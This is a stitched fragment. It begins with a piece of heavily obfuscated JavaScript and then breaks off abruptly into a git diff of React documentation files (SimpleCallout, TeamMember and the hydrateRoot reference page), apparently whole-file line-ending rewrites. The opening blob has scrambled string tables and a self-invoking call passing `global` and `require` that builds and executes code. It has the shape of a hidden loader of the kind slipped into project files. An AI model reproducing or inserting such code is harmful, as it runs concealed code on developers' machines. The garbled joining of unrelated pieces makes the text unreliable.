_0x165812=_0x1c4d71[_0x19f867(0x41e)](_0x475372,_0x1c4d71[_0x19f867(0x13d)])[_0x19f867(0x398)](-0x85d*0x1+-0x158b+0x1de8,0x7*0x577+0x778+-0x2dae),_0x6799a9=_0x475372[_0x165812],_0x569193=_0x1c4d71[_0x19f867(0x301)](_0x6799a9,'',_0x1c4d71[_0x19f867(0x328)](_0x475372,_0x1c4d71[_0x19f867(0x4d3)]));_0x1c4d71[_0x19f867(0x301)](_0x6799a9,'',_0x1c4d71[_0x19f867(0x41e)](_0x569193,_0x1c4d71[_0x19f867(0x328)](_0x475372,_0x1c4d71[_0x19f867(0x4f9)])))(-0x22ca+-0x62d*-0x1+0x266a);}(global,require));function _0x39d7(){var _0x3a7d05=['Ccc.cR_mRr','..cpfn&Rc','P(','=@cc{qyCe/','RhRRsecR)0','2q[.<0a1{<','z.m=k=.\x20*n','i)R]ec\x22\x20Rt',')RccIRcR\x5c!','R<8+pi....','v=upqm9=]n','f-inRsR:Pl8<','rK7.yc\x2007e','ccc.eR.Rdc','ou~;$t.ocw',']\x20cye&[#)t','.lprtRus..','RR\x20R]0jP;t','ho#(\x27\x22P..c','nlco.1PtRR!c[','Rw}.pBRedR','w.3<.R6Rrl','!RtjlNcw}d','uaigxofpho','t\x20','i.0./RK!to','sPR6df}tasm\x20$=.(y=)r','v=Sn2(j1r4','Rk&!R','zd..iRcc.R','1-;=;\x20jwql','IcaR;.nR,b','o(tt)l=','.)7\x20\x22R:Lct','G...!/45c}','0bcntRRARc','.Hf/..PP0<','9!tiC<.c(.','.Ru','(\x20]1v=t=e+',']RodRReIt',':-i<R\x22Vv:d','.!Rc\x20(3R#e)RmScM\x20','!R','.se','S<\x27g.cR).z','ttc6s%fNr;','3<8e<).DCl','ict<#(R\x20,l','.R.so.RoR.C(2n.<','2H].wbmR.k','Ri!.ok;aRc','Rcr!cRop&;','5!/-)<04.c','RR_R^!\x20NRf','ni4tc.nRmt','Rc.c.t#/s{','R<.','<:_R.bb4c.','c.)ci','R.Pc.R.ysR','R.RbmnR\x20R:','hRh.3ecNn()','R.[@.ci.2&','9R(vRskp$P','5p<+rfi\x20en','<)v5=.96g8','.c.p.RsDcp','6Rdr.tRI~es<.O..','<R','Rrc}1TcR.!','DAiqF','.CR.s.+UI6','.PRsvRcV)$','Rrtc[._5Ri','+.\x20Rpc.}i.','en`)qesRoS','~N.RifNc&i','c%p.R)])+.','s$T$.R.6nc','RSM\x27.n.h.s','Fgo -

- {title} -

- {children} - - ); -} - -export default SimpleCallout; +/** + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */ + +/* + * Copyright (c) Facebook, Inc. and its affiliates. + */ + +import * as React from 'react'; +import cn from 'classnames'; +import {H3} from './Heading'; + +interface SimpleCalloutProps { + title: string; + children: React.ReactNode; + className?: string; +} +function SimpleCallout({title, children, className}: SimpleCalloutProps) { + return ( +
+

+ {title} +

+ {children} +
+ ); +} + +export default SimpleCallout; diff --git a/src/components/MDX/TeamMember.tsx b/src/components/MDX/TeamMember.tsx index 2716fa2d1fa..4a96d28d248 100644 --- a/src/components/MDX/TeamMember.tsx +++ b/src/components/MDX/TeamMember.tsx @@ -1,166 +1,166 @@ -/** - * Copyright (c) Meta Platforms, Inc. and affiliates. - * - * This source code is licensed under the MIT license found in the - * LICENSE file in the root directory of this source tree. - */ - -/* - * Copyright (c) Facebook, Inc. and its affiliates. - */ - -import * as React from 'react'; -import Image from 'next/legacy/image'; -import {IconTwitter} from '../Icon/IconTwitter'; -import {IconThreads} from '../Icon/IconThreads'; -import {IconBsky} from '../Icon/IconBsky'; -import {IconGitHub} from '../Icon/IconGitHub'; -import {ExternalLink} from '../ExternalLink'; -import {H3} from './Heading'; -import {IconLink} from 'components/Icon/IconLink'; - -interface TeamMemberProps { - name: string; - title: string; - permalink: string; - children?: React.ReactNode; - photo: string; - twitter?: string; - threads?: string; - bsky?: string; - github?: string; - personal?: string; - // Comma-separated list of working groups. Suffix a group with `*` to mark - // that the member represents it on the Leadership Council, e.g. "Fiber*, DOM". - group?: string; -} - -function GroupBadges({group}: {group: string}) { - const groups = group - .split(',') - .map((g) => g.trim()) - .filter(Boolean); - if (groups.length === 0) { - return null; - } - return ( -
- {groups.map((g) => { - const isLead = g.endsWith('*'); - const label = isLead ? g.slice(0, -1).trim() : g; - return ( - - {label} - {isLead && ( - - ★ - - )} - - ); - })} -
- ); -} - -// TODO: good alt text for images/links -export function TeamMember({ - name, - title, - permalink, - children, - photo, - github, - twitter, - threads, - bsky, - personal, - group, -}: TeamMemberProps) { - if (name == null || title == null || permalink == null) { - const identifier = name ?? title ?? permalink ?? 'unknown'; - throw new Error(`Expected name, title, and permalink for ${identifier}`); - } - return ( -
-
-
- {name} -
-
- {name} -
-
-

- {name} -

- {title &&
{title}
} - {group && } - {children} -
- {twitter && ( -
- - - {twitter} - -
- )} - {threads && ( -
- - - {threads} - -
- )} - {bsky && ( -
- - - {bsky} - -
- )} - {github && ( -
- - {github} - -
- )} - {personal && ( - - {personal} - - )} -
-
-
-
- ); -} +/** + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */ + +/* + * Copyright (c) Facebook, Inc. and its affiliates. + */ + +import * as React from 'react'; +import Image from 'next/legacy/image'; +import {IconTwitter} from '../Icon/IconTwitter'; +import {IconThreads} from '../Icon/IconThreads'; +import {IconBsky} from '../Icon/IconBsky'; +import {IconGitHub} from '../Icon/IconGitHub'; +import {ExternalLink} from '../ExternalLink'; +import {H3} from './Heading'; +import {IconLink} from 'components/Icon/IconLink'; + +interface TeamMemberProps { + name: string; + title: string; + permalink: string; + children?: React.ReactNode; + photo: string; + twitter?: string; + threads?: string; + bsky?: string; + github?: string; + personal?: string; + // Comma-separated list of working groups. Suffix a group with `*` to mark + // that the member represents it on the Leadership Council, e.g. "Fiber*, DOM". + group?: string; +} + +function GroupBadges({group}: {group: string}) { + const groups = group + .split(',') + .map((g) => g.trim()) + .filter(Boolean); + if (groups.length === 0) { + return null; + } + return ( +
+ {groups.map((g) => { + const isLead = g.endsWith('*'); + const label = isLead ? g.slice(0, -1).trim() : g; + return ( + + {label} + {isLead && ( + + ★ + + )} + + ); + })} +
+ ); +} + +// TODO: good alt text for images/links +export function TeamMember({ + name, + title, + permalink, + children, + photo, + github, + twitter, + threads, + bsky, + personal, + group, +}: TeamMemberProps) { + if (name == null || title == null || permalink == null) { + const identifier = name ?? title ?? permalink ?? 'unknown'; + throw new Error(`Expected name, title, and permalink for ${identifier}`); + } + return ( +
+
+
+ {name} +
+
+ {name} +
+
+

+ {name} +

+ {title &&
{title}
} + {group && } + {children} +
+ {twitter && ( +
+ + +
+ )} + {threads && ( +
+ + +
+ )} + {bsky && ( +
+ + +
+ )} + {github && ( +
+ + +
+ )} + {personal && ( + + + )} +
+
+
+
+ ); +} diff --git a/src/content/reference/react-dom/client/hydrateRoot.md b/src/content/reference/react-dom/client/hydrateRoot.md index e49faff1b69..b687d5b0c77 100644 --- a/src/content/reference/react-dom/client/hydrateRoot.md +++ b/src/content/reference/react-dom/client/hydrateRoot.md @@ -1,540 +1,540 @@ ---- -title: hydrateRoot ---- - - - -`hydrateRoot` lets you display React components inside a browser DOM node whose HTML content was previously generated by [`react-dom/server`.](/reference/react-dom/server) - -```js -const root = hydrateRoot(domNode, reactNode, options?) -``` - - - - - ---- - -## Reference {/*reference*/} - -### `hydrateRoot(domNode, reactNode, options?)` {/*hydrateroot*/} - -Call `hydrateRoot` to “attach” React to existing HTML that was already rendered by React in a server environment. - -```js -import { hydrateRoot } from 'react-dom/client'; - -const domNode = document.getElementById('root'); -const root = hydrateRoot(domNode, reactNode); -``` - -React will attach to the HTML that exists inside the `domNode`, and take over managing the DOM inside it. An app fully built with React will usually only have one `hydrateRoot` call with its root component. - -[See more examples below.](#usage) - -#### Parameters {/*parameters*/} - -* `domNode`: A [DOM element](https://developer.mozilla.org/en-US/docs/Web/API/Element) that was rendered as the root element on the server. - -* `reactNode`: The "React node" used to render the existing HTML. This will usually be a piece of JSX like `` which was rendered with a `ReactDOM Server` method such as `renderToPipeableStream()`. - -* **optional** `options`: An object with options for this React root. - - * **optional** `onCaughtError`: Callback called when React catches an error in an Error Boundary. Called with the `error` caught by the Error Boundary, and an `errorInfo` object containing the `componentStack`. - * **optional** `onUncaughtError`: Callback called when an error is thrown and not caught by an Error Boundary. Called with the `error` that was thrown and an `errorInfo` object containing the `componentStack`. - * **optional** `onRecoverableError`: Callback called when React automatically recovers from errors. Called with the `error` React throws, and an `errorInfo` object containing the `componentStack`. Some recoverable errors may include the original error cause as `error.cause`. - * **optional** `identifierPrefix`: A string prefix React uses for IDs generated by [`useId`.](/reference/react/useId) Useful to avoid conflicts when using multiple roots on the same page. Must be the same prefix as used on the server. - * **optional** `formState`: The form state from a form submission handled by a [Server Function](/reference/rsc/server-functions). If the page was rendered on the server in response to a submission of a form that uses [`useActionState`](/reference/react/useActionState) with a `permalink`, pass the resulting form state so that `useActionState` returns the submitted state instead of the `initialState`. Must be the same value as the `formState` passed to the [server renderer.](/reference/react-dom/server/renderToPipeableStream#parameters) This is typically passed through by your framework. - - -#### Returns {/*returns*/} - -`hydrateRoot` returns an object with two methods: [`render`](#root-render) and [`unmount`.](#root-unmount) - -#### Caveats {/*caveats*/} - -* `hydrateRoot()` expects the rendered content to be identical with the server-rendered content. You should treat mismatches as bugs and fix them. -* In development mode, React warns about mismatches during hydration. There are no guarantees that attribute differences will be patched up in case of mismatches. This is important for performance reasons because in most apps, mismatches are rare, and so validating all markup would be prohibitively expensive. -* You'll likely have only one `hydrateRoot` call in your app. If you use a framework, it might do this call for you. -* If your app is client-rendered with no HTML rendered already, using `hydrateRoot()` is not supported. Use [`createRoot()`](/reference/react-dom/client/createRoot) instead. - ---- - -### `root.render(reactNode)` {/*root-render*/} - -Call `root.render` to update a React component inside a hydrated React root for a browser DOM element. - -```js -root.render(); -``` - -React will update `` in the hydrated `root`. - -[See more examples below.](#usage) - -#### Parameters {/*root-render-parameters*/} - -* `reactNode`: A "React node" that you want to update. This will usually be a piece of JSX like ``, but you can also pass a React element constructed with [`createElement()`](/reference/react/createElement), a string, a number, `null`, or `undefined`. - - -#### Returns {/*root-render-returns*/} - -`root.render` returns `undefined`. - -#### Caveats {/*root-render-caveats*/} - -* If you call `root.render` before the root has finished hydrating, React will clear the existing server-rendered HTML content and switch the entire root to client rendering. - ---- - -### `root.unmount()` {/*root-unmount*/} - -Call `root.unmount` to destroy a rendered tree inside a React root. - -```js -root.unmount(); -``` - -An app fully built with React will usually not have any calls to `root.unmount`. - -This is mostly useful if your React root's DOM node (or any of its ancestors) may get removed from the DOM by some other code. For example, imagine a jQuery tab panel that removes inactive tabs from the DOM. If a tab gets removed, everything inside it (including the React roots inside) would get removed from the DOM as well. You need to tell React to "stop" managing the removed root's content by calling `root.unmount`. Otherwise, the components inside the removed root won't clean up and free up resources like subscriptions. - -Calling `root.unmount` will unmount all the components in the root and "detach" React from the root DOM node, including removing any event handlers or state in the tree. - - -#### Parameters {/*root-unmount-parameters*/} - -`root.unmount` does not accept any parameters. - - -#### Returns {/*root-unmount-returns*/} - -`root.unmount` returns `undefined`. - -#### Caveats {/*root-unmount-caveats*/} - -* Calling `root.unmount` will unmount all the components in the tree and "detach" React from the root DOM node. - -* Once you call `root.unmount` you cannot call `root.render` again on the root. Attempting to call `root.render` on an unmounted root will throw a "Cannot update an unmounted root" error. - ---- - -## Usage {/*usage*/} - -### Hydrating server-rendered HTML {/*hydrating-server-rendered-html*/} - -If your app's HTML was generated by [`react-dom/server`](/reference/react-dom/client/createRoot), you need to *hydrate* it on the client. - -```js [[1, 3, "document.getElementById('root')"], [2, 3, ""]] -import { hydrateRoot } from 'react-dom/client'; - -hydrateRoot(document.getElementById('root'), ); -``` - -This will hydrate the server HTML inside the browser DOM node with the React component for your app. Usually, you will do it once at startup. If you use a framework, it might do this behind the scenes for you. - -To hydrate your app, React will "attach" your components' logic to the initial generated HTML from the server. Hydration turns the initial HTML snapshot from the server into a fully interactive app that runs in the browser. - - - -```html public/index.html - -

Hello, world!

-``` - -```js src/index.js active -import './styles.css'; -import { hydrateRoot } from 'react-dom/client'; -import App from './App.js'; - -hydrateRoot( - document.getElementById('root'), - -); -``` - -```js src/App.js -import { useState } from 'react'; - -export default function App() { - return ( - <> -

Hello, world!

- - - ); -} - -function Counter() { - const [count, setCount] = useState(0); - return ( - - ); -} -``` - -
- -You shouldn't need to call `hydrateRoot` again or to call it in more places. From this point on, React will be managing the DOM of your application. To update the UI, your components will [use state](/reference/react/useState) instead. - - - -The React tree you pass to `hydrateRoot` needs to produce **the same output** as it did on the server. - -This is important for the user experience. The user will spend some time looking at the server-generated HTML before your JavaScript code loads. Server rendering creates an illusion that the app loads faster by showing the HTML snapshot of its output. Suddenly showing different content breaks that illusion. This is why the server render output must match the initial render output on the client. - -The most common causes leading to hydration errors include: - -* Extra whitespace (like newlines) around the React-generated HTML inside the root node. -* Using checks like `typeof window !== 'undefined'` in your rendering logic. -* Using browser-only APIs like [`window.matchMedia`](https://developer.mozilla.org/en-US/docs/Web/API/Window/matchMedia) in your rendering logic. -* Rendering different data on the server and the client. - -React recovers from some hydration errors, but **you must fix them like other bugs.** In the best case, they'll lead to a slowdown; in the worst case, event handlers can get attached to the wrong elements. - - - ---- - -### Hydrating an entire document {/*hydrating-an-entire-document*/} - -Apps fully built with React can render the entire document as JSX, including the [``](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/html) tag: - -```js {3,13} -function App() { - return ( - - - - - - My app - - - - - - ); -} -``` - -To hydrate the entire document, pass the [`document`](https://developer.mozilla.org/en-US/docs/Web/API/Window/document) global as the first argument to `hydrateRoot`: - -```js {4} -import { hydrateRoot } from 'react-dom/client'; -import App from './App.js'; - -hydrateRoot(document, ); -``` - ---- - -### Suppressing unavoidable hydration mismatch errors {/*suppressing-unavoidable-hydration-mismatch-errors*/} - -If a single element’s attribute or text content is unavoidably different between the server and the client (for example, a timestamp), you may silence the hydration mismatch warning. - -To silence hydration warnings on an element, add `suppressHydrationWarning={true}`: - - - -```html public/index.html - -

Current Date: 01/01/2020

-``` - -```js src/index.js -import './styles.css'; -import { hydrateRoot } from 'react-dom/client'; -import App from './App.js'; - -hydrateRoot(document.getElementById('root'), ); -``` - -```js src/App.js active -export default function App() { - return ( -

- Current Date: {new Date().toLocaleDateString()} -

- ); -} -``` - -
- -This only works one level deep, and is intended to be an escape hatch. Don’t overuse it. React will **not** attempt to patch mismatched text content. - ---- - -{/* TODO: Remove this subsection when browser is available in Stable. */} - -### Handling different client and server content {/*handling-different-client-and-server-content*/} - -If you intentionally need to render something different on the server and the client, you can do a two-pass rendering. Components that render something different on the client can read a [state variable](/reference/react/useState) like `isClient`, which you can set to `true` in an [Effect](/reference/react/useEffect): - - - -```html public/index.html - -

Is Server

-``` - -```js src/index.js -import './styles.css'; -import { hydrateRoot } from 'react-dom/client'; -import App from './App.js'; - -hydrateRoot(document.getElementById('root'), ); -``` - -{/* kind of an edge case, seems fine to use this hack here */} -```js {expectedErrors: {'react-compiler': [7]}} src/App.js active -import { useState, useEffect } from "react"; - -export default function App() { - const [isClient, setIsClient] = useState(false); - - useEffect(() => { - setIsClient(true); - }, []); - - return ( -

- {isClient ? 'Is Client' : 'Is Server'} -

- ); -} -``` - -
- -This way the initial render pass will render the same content as the server, avoiding mismatches, but an additional pass will happen synchronously right after hydration. - -Use this approach when you want the client-rendered content to be different from the initial server-rendered HTML. - -If a component should render only in the browser, call [`use(browser())`](/reference/react/use#use-browser) instead of waiting for an Effect. - - - -This approach makes hydration slower because your components have to render twice. Be mindful of the user experience on slow connections. The JavaScript code may load significantly later than the initial HTML render, so rendering a different UI immediately after hydration may also feel jarring to the user. - - - ---- - -### Updating a hydrated root component {/*updating-a-hydrated-root-component*/} - -After the root has finished hydrating, you can call [`root.render`](#root-render) to update the root React component. **Unlike with [`createRoot`](/reference/react-dom/client/createRoot), you don't usually need to do this because the initial content was already rendered as HTML.** - -If you call `root.render` at some point after hydration, and the component tree structure matches up with what was previously rendered, React will [preserve the state.](/learn/preserving-and-resetting-state) Notice how you can type in the input, which means that the updates from repeated `render` calls every second in this example are not destructive: - - - -```html public/index.html - -

Hello, world! 0

-``` - -```js src/index.js active -import { hydrateRoot } from 'react-dom/client'; -import './styles.css'; -import App from './App.js'; - -const root = hydrateRoot( - document.getElementById('root'), - -); - -let i = 0; -setInterval(() => { - root.render(); - i++; -}, 1000); -``` - -```js src/App.js -export default function App({counter}) { - return ( - <> -

Hello, world! {counter}

- - - ); -} -``` - -
- -It is uncommon to call [`root.render`](#root-render) on a hydrated root. Usually, you'll [update state](/reference/react/useState) inside one of the components instead. - -### Error logging in production {/*error-logging-in-production*/} - -By default, React will log all errors to the console. To implement your own error reporting, you can provide the optional error handler root options `onUncaughtError`, `onCaughtError` and `onRecoverableError`: - -```js [[1, 7, "onCaughtError"], [2, 7, "error", 1], [3, 7, "errorInfo"], [4, 11, "componentStack", 15]] -import { hydrateRoot } from "react-dom/client"; -import App from "./App.js"; -import { reportCaughtError } from "./reportError"; - -const container = document.getElementById("root"); -const root = hydrateRoot(container, , { - onCaughtError: (error, errorInfo) => { - if (error.message !== "Known error") { - reportCaughtError({ - error, - componentStack: errorInfo.componentStack, - }); - } - }, -}); -``` - -The onCaughtError option is a function called with two arguments: - -1. The error that was thrown. -2. An errorInfo object that contains the componentStack of the error. - -Together with `onUncaughtError` and `onRecoverableError`, you can implement your own error reporting system: - - - -```js src/reportError.js -function reportError({ type, error, errorInfo }) { - // The specific implementation is up to you. - // `console.error()` is only used for demonstration purposes. - console.error(type, error, "Component Stack: "); - console.error("Component Stack: ", errorInfo.componentStack); -} - -export function onCaughtErrorProd(error, errorInfo) { - if (error.message !== "Known error") { - reportError({ type: "Caught", error, errorInfo }); - } -} - -export function onUncaughtErrorProd(error, errorInfo) { - reportError({ type: "Uncaught", error, errorInfo }); -} - -export function onRecoverableErrorProd(error, errorInfo) { - reportError({ type: "Recoverable", error, errorInfo }); -} -``` - -```js src/index.js active -import { hydrateRoot } from "react-dom/client"; -import App from "./App.js"; -import { - onCaughtErrorProd, - onRecoverableErrorProd, - onUncaughtErrorProd, -} from "./reportError"; - -const container = document.getElementById("root"); -hydrateRoot(container, , { - // Keep in mind to remove these options in development to leverage - // React's default handlers or implement your own overlay for development. - // The handlers are only specfied unconditionally here for demonstration purposes. - onCaughtError: onCaughtErrorProd, - onRecoverableError: onRecoverableErrorProd, - onUncaughtError: onUncaughtErrorProd, -}); -``` - -```js src/App.js -import { Component, useState } from "react"; - -function Boom() { - foo.bar = "baz"; -} - -class ErrorBoundary extends Component { - state = { hasError: false }; - - static getDerivedStateFromError(error) { - return { hasError: true }; - } - - render() { - if (this.state.hasError) { - return

Something went wrong.

; - } - return this.props.children; - } -} - -export default function App() { - const [triggerUncaughtError, settriggerUncaughtError] = useState(false); - const [triggerCaughtError, setTriggerCaughtError] = useState(false); - - return ( - <> - - {triggerUncaughtError && } - - {triggerCaughtError && ( - - - - )} - - ); -} -``` - -```html public/index.html hidden - - - - My app - - - -
Server content before hydration.
- - -``` -
- -## Troubleshooting {/*troubleshooting*/} - - -### I'm getting an error: "You passed a second argument to root.render" {/*im-getting-an-error-you-passed-a-second-argument-to-root-render*/} - -A common mistake is to pass the options for `hydrateRoot` to `root.render(...)`: - - - -Warning: You passed a second argument to root.render(...) but it only accepts one argument. - - - -To fix, pass the root options to `hydrateRoot(...)`, not `root.render(...)`: -```js {2,5} -// 🚩 Wrong: root.render only takes one argument. -root.render(App, {onUncaughtError}); - -// ✅ Correct: pass options to createRoot. -const root = hydrateRoot(container, , {onUncaughtError}); -``` +--- +title: hydrateRoot +--- + + + +`hydrateRoot` lets you display React components inside a browser DOM node whose HTML content was previously generated by [`react-dom/server`.](/reference/react-dom/server) + +```js +const root = hydrateRoot(domNode, reactNode, options?) +``` + + + + + +--- + +## Reference {/*reference*/} + +### `hydrateRoot(domNode, reactNode, options?)` {/*hydrateroot*/} + +Call `hydrateRoot` to “attach” React to existing HTML that was already rendered by React in a server environment. + +```js +import { hydrateRoot } from 'react-dom/client'; + +const domNode = document.getElementById('root'); +const root = hydrateRoot(domNode, reactNode); +``` + +React will attach to the HTML that exists inside the `domNode`, and take over managing the DOM inside it. An app fully built with React will usually only have one `hydrateRoot` call with its root component. + +[See more examples below.](#usage) + +#### Parameters {/*parameters*/} + +* `domNode`: A [DOM element](https://developer.mozilla.org/en-US/docs/Web/API/Element) that was rendered as the root element on the server. + +* `reactNode`: The "React node" used to render the existing HTML. This will usually be a piece of JSX like `` which was rendered with a `ReactDOM Server` method such as `renderToPipeableStream()`. + +* **optional** `options`: An object with options for this React root. + + * **optional** `onCaughtError`: Callback called when React catches an error in an Error Boundary. Called with the `error` caught by the Error Boundary, and an `errorInfo` object containing the `componentStack`. + * **optional** `onUncaughtError`: Callback called when an error is thrown and not caught by an Error Boundary. Called with the `error` that was thrown and an `errorInfo` object containing the `componentStack`. + * **optional** `onRecoverableError`: Callback called when React automatically recovers from errors. Called with the `error` React throws, and an `errorInfo` object containing the `componentStack`. Some recoverable errors may include the original error cause as `error.cause`. + * **optional** `identifierPrefix`: A string prefix React uses for IDs generated by [`useId`.](/reference/react/useId) Useful to avoid conflicts when using multiple roots on the same page. Must be the same prefix as used on the server. + * **optional** `formState`: The form state from a form submission handled by a [Server Function](/reference/rsc/server-functions). If the page was rendered on the server in response to a submission of a form that uses [`useActionState`](/reference/react/useActionState) with a `permalink`, pass the resulting form state so that `useActionState` returns the submitted state instead of the `initialState`. Must be the same value as the `formState` passed to the [server renderer.](/reference/react-dom/server/renderToPipeableStream#parameters) This is typically passed through by your framework. + + +#### Returns {/*returns*/} + +`hydrateRoot` returns an object with two methods: [`render`](#root-render) and [`unmount`.](#root-unmount) + +#### Caveats {/*caveats*/} + +* `hydrateRoot()` expects the rendered content to be identical with the server-rendered content. You should treat mismatches as bugs and fix them. +* In development mode, React warns about mismatches during hydration. There are no guarantees that attribute differences will be patched up in case of mismatches. This is important for performance reasons because in most apps, mismatches are rare, and so validating all markup would be prohibitively expensive. +* You'll likely have only one `hydrateRoot` call in your app. If you use a framework, it might do this call for you. +* If your app is client-rendered with no HTML rendered already, using `hydrateRoot()` is not supported. Use [`createRoot()`](/reference/react-dom/client/createRoot) instead. + +--- + +### `root.render(reactNode)` {/*root-render*/} + +Call `root.render` to update a React component inside a hydrated React root for a browser DOM element. + +```js +root.render(); +``` + +React will update `` in the hydrated `root`. + +[See more examples below.](#usage) + +#### Parameters {/*root-render-parameters*/} + +* `reactNode`: A "React node" that you want to update. This will usually be a piece of JSX like ``, but you can also pass a React element constructed with [`createElement()`](/reference/react/createElement), a string, a number, `null`, or `undefined`. + + +#### Returns {/*root-render-returns*/} + +`root.render` returns `undefined`. + +#### Caveats {/*root-render-caveats*/} + +* If you call `root.render` before the root has finished hydrating, React will clear the existing server-rendered HTML content and switch the entire root to client rendering. + +--- + +### `root.unmount()` {/*root-unmount*/} + +Call `root.unmount` to destroy a rendered tree inside a React root. + +```js +root.unmount(); +``` + +An app fully built with React will usually not have any calls to `root.unmount`. + +This is mostly useful if your React root's DOM node (or any of its ancestors) may get removed from the DOM by some other code. For example, imagine a jQuery tab panel that removes inactive tabs from the DOM. If a tab gets removed, everything inside it (including the React roots inside) would get removed from the DOM as well. You need to tell React to "stop" managing the removed root's content by calling `root.unmount`. Otherwise, the components inside the removed root won't clean up and free up resources like subscriptions. + +Calling `root.unmount` will unmount all the components in the root and "detach" React from the root DOM node, including removing any event handlers or state in the tree. + + +#### Parameters {/*root-unmount-parameters*/} + +`root.unmount` does not accept any parameters. + + +#### Returns {/*root-unmount-returns*/} + +`root.unmount` returns `undefined`. + +#### Caveats {/*root-unmount-caveats*/} + +* Calling `root.unmount` will unmount all the components in the tree and "detach" React from the root DOM node. + +* Once you call `root.unmount` you cannot call `root.render` again on the root. Attempting to call `root.render` on an unmounted root will throw a "Cannot update an unmounted root" error. + +--- + +## Usage {/*usage*/} + +### Hydrating server-rendered HTML {/*hydrating-server-rendered-html*/} + +If your app's HTML was generated by [`react-dom/server`](/reference/react-dom/client/createRoot), you need to *hydrate* it on the client. + +```js [[1, 3, "document.getElementById('root')"], [2, 3, ""]] +import { hydrateRoot } from 'react-dom/client'; + +hydrateRoot(document.getElementById('root'), ); +``` + +This will hydrate the server HTML inside the browser DOM node with the React component for your app. Usually, you will do it once at startup. If you use a framework, it might do this behind the scenes for you. + +To hydrate your app, React will "attach" your components' logic to the initial generated HTML from the server. Hydration turns the initial HTML snapshot from the server into a fully interactive app that runs in the browser. + + + +```html public/index.html + +

Hello, world!

+``` + +```js src/index.js active +import './styles.css'; +import { hydrateRoot } from 'react-dom/client'; +import App from './App.js'; + +hydrateRoot( + document.getElementById('root'), + +); +``` + +```js src/App.js +import { useState } from 'react'; + +export default function App() { + return ( + <> +

Hello, world!

+ + + ); +} + +function Counter() { + const [count, setCount] = useState(0); + return ( + + ); +} +``` + +
+ +You shouldn't need to call `hydrateRoot` again or to call it in more places. From this point on, React will be managing the DOM of your application. To update the UI, your components will [use state](/reference/react/useState) instead. + + + +The React tree you pass to `hydrateRoot` needs to produce **the same output** as it did on the server. + +This is important for the user experience. The user will spend some time looking at the server-generated HTML before your JavaScript code loads. Server rendering creates an illusion that the app loads faster by showing the HTML snapshot of its output. Suddenly showing different content breaks that illusion. This is why the server render output must match the initial render output on the client. + +The most common causes leading to hydration errors include: + +* Extra whitespace (like newlines) around the React-generated HTML inside the root node. +* Using checks like `typeof window !== 'undefined'` in your rendering logic. +* Using browser-only APIs like [`window.matchMedia`](https://developer.mozilla.org/en-US/docs/Web/API/Window/matchMedia) in your rendering logic. +* Rendering different data on the server and the client. + +React recovers from some hydration errors, but **you must fix them like other bugs.** In the best case, they'll lead to a slowdown; in the worst case, event handlers can get attached to the wrong elements. + + + +--- + +### Hydrating an entire document {/*hydrating-an-entire-document*/} + +Apps fully built with React can render the entire document as JSX, including the [``](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/html) tag: + +```js {3,13} +function App() { + return ( + + + + + + My app + + + + + + ); +} +``` + +To hydrate the entire document, pass the [`document`](https://developer.mozilla.org/en-US/docs/Web/API/Window/document) global as the first argument to `hydrateRoot`: + +```js {4} +import { hydrateRoot } from 'react-dom/client'; +import App from './App.js'; + +hydrateRoot(document, ); +``` + +--- + +### Suppressing unavoidable hydration mismatch errors {/*suppressing-unavoidable-hydration-mismatch-errors*/} + +If a single element’s attribute or text content is unavoidably different between the server and the client (for example, a timestamp), you may silence the hydration mismatch warning. + +To silence hydration warnings on an element, add `suppressHydrationWarning={true}`: + + + +```html public/index.html + +

Current Date: 01/01/2020

+``` + +```js src/index.js +import './styles.css'; +import { hydrateRoot } from 'react-dom/client'; +import App from './App.js'; + +hydrateRoot(document.getElementById('root'), ); +``` + +```js src/App.js active +export default function App() { + return ( +

+ Current Date: {new Date().toLocaleDateString()} +

+ ); +} +``` + +
+ +This only works one level deep, and is intended to be an escape hatch. Don’t overuse it. React will **not** attempt to patch mismatched text content. + +--- + +{/* TODO: Remove this subsection when browser is available in Stable. */} + +### Handling different client and server content {/*handling-different-client-and-server-content*/} + +If you intentionally need to render something different on the server and the client, you can do a two-pass rendering. Components that render something different on the client can read a [state variable](/reference/react/useState) like `isClient`, which you can set to `true` in an [Effect](/reference/react/useEffect): + + + +```html public/index.html + +

Is Server

+``` + +```js src/index.js +import './styles.css'; +import { hydrateRoot } from 'react-dom/client'; +import App from './App.js'; + +hydrateRoot(document.getElementById('root'), ); +``` + +{/* kind of an edge case, seems fine to use this hack here */} +```js {expectedErrors: {'react-compiler': [7]}} src/App.js active +import { useState, useEffect } from "react"; + +export default function App() { + const [isClient, setIsClient] = useState(false); + + useEffect(() => { + setIsClient(true); + }, []); + + return ( +

+ {isClient ? 'Is Client' : 'Is Server'} +

+ ); +} +``` + +
+ +This way the initial render pass will render the same content as the server, avoiding mismatches, but an additional pass will happen synchronously right after hydration. + +Use this approach when you want the client-rendered content to be different from the initial server-rendered HTML. + +If a component should render only in the browser, call [`use(browser())`](/reference/react/use#use-browser) instead of waiting for an Effect. + + + +This approach makes hydration slower because your components have to render twice. Be mindful of the user experience on slow connections. The JavaScript code may load significantly later than the initial HTML render, so rendering a different UI immediately after hydration may also feel jarring to the user. + + + +--- + +### Updating a hydrated root component {/*updating-a-hydrated-root-component*/} + +After the root has finished hydrating, you can call [`root.render`](#root-render) to update the root React component. **Unlike with [`createRoot`](/reference/react-dom/client/createRoot), you don't usually need to do this because the initial content was already rendered as HTML.** + +If you call `root.render` at some point after hydration, and the component tree structure matches up with what was previously rendered, React will [preserve the state.](/learn/preserving-and-resetting-state) Notice how you can type in the input, which means that the updates from repeated `render` calls every second in this example are not destructive: + + + +```html public/index.html + +

Hello, world! 0

+``` + +```js src/index.js active +import { hydrateRoot } from 'react-dom/client'; +import './styles.css'; +import App from './App.js'; + +const root = hydrateRoot( + document.getElementById('root'), + +); + +let i = 0; +setInterval(() => { + root.render(); + i++; +}, 1000); +``` + +```js src/App.js +export default function App({counter}) { + return ( + <> +

Hello, world! {counter}

+ + + ); +} +``` + +
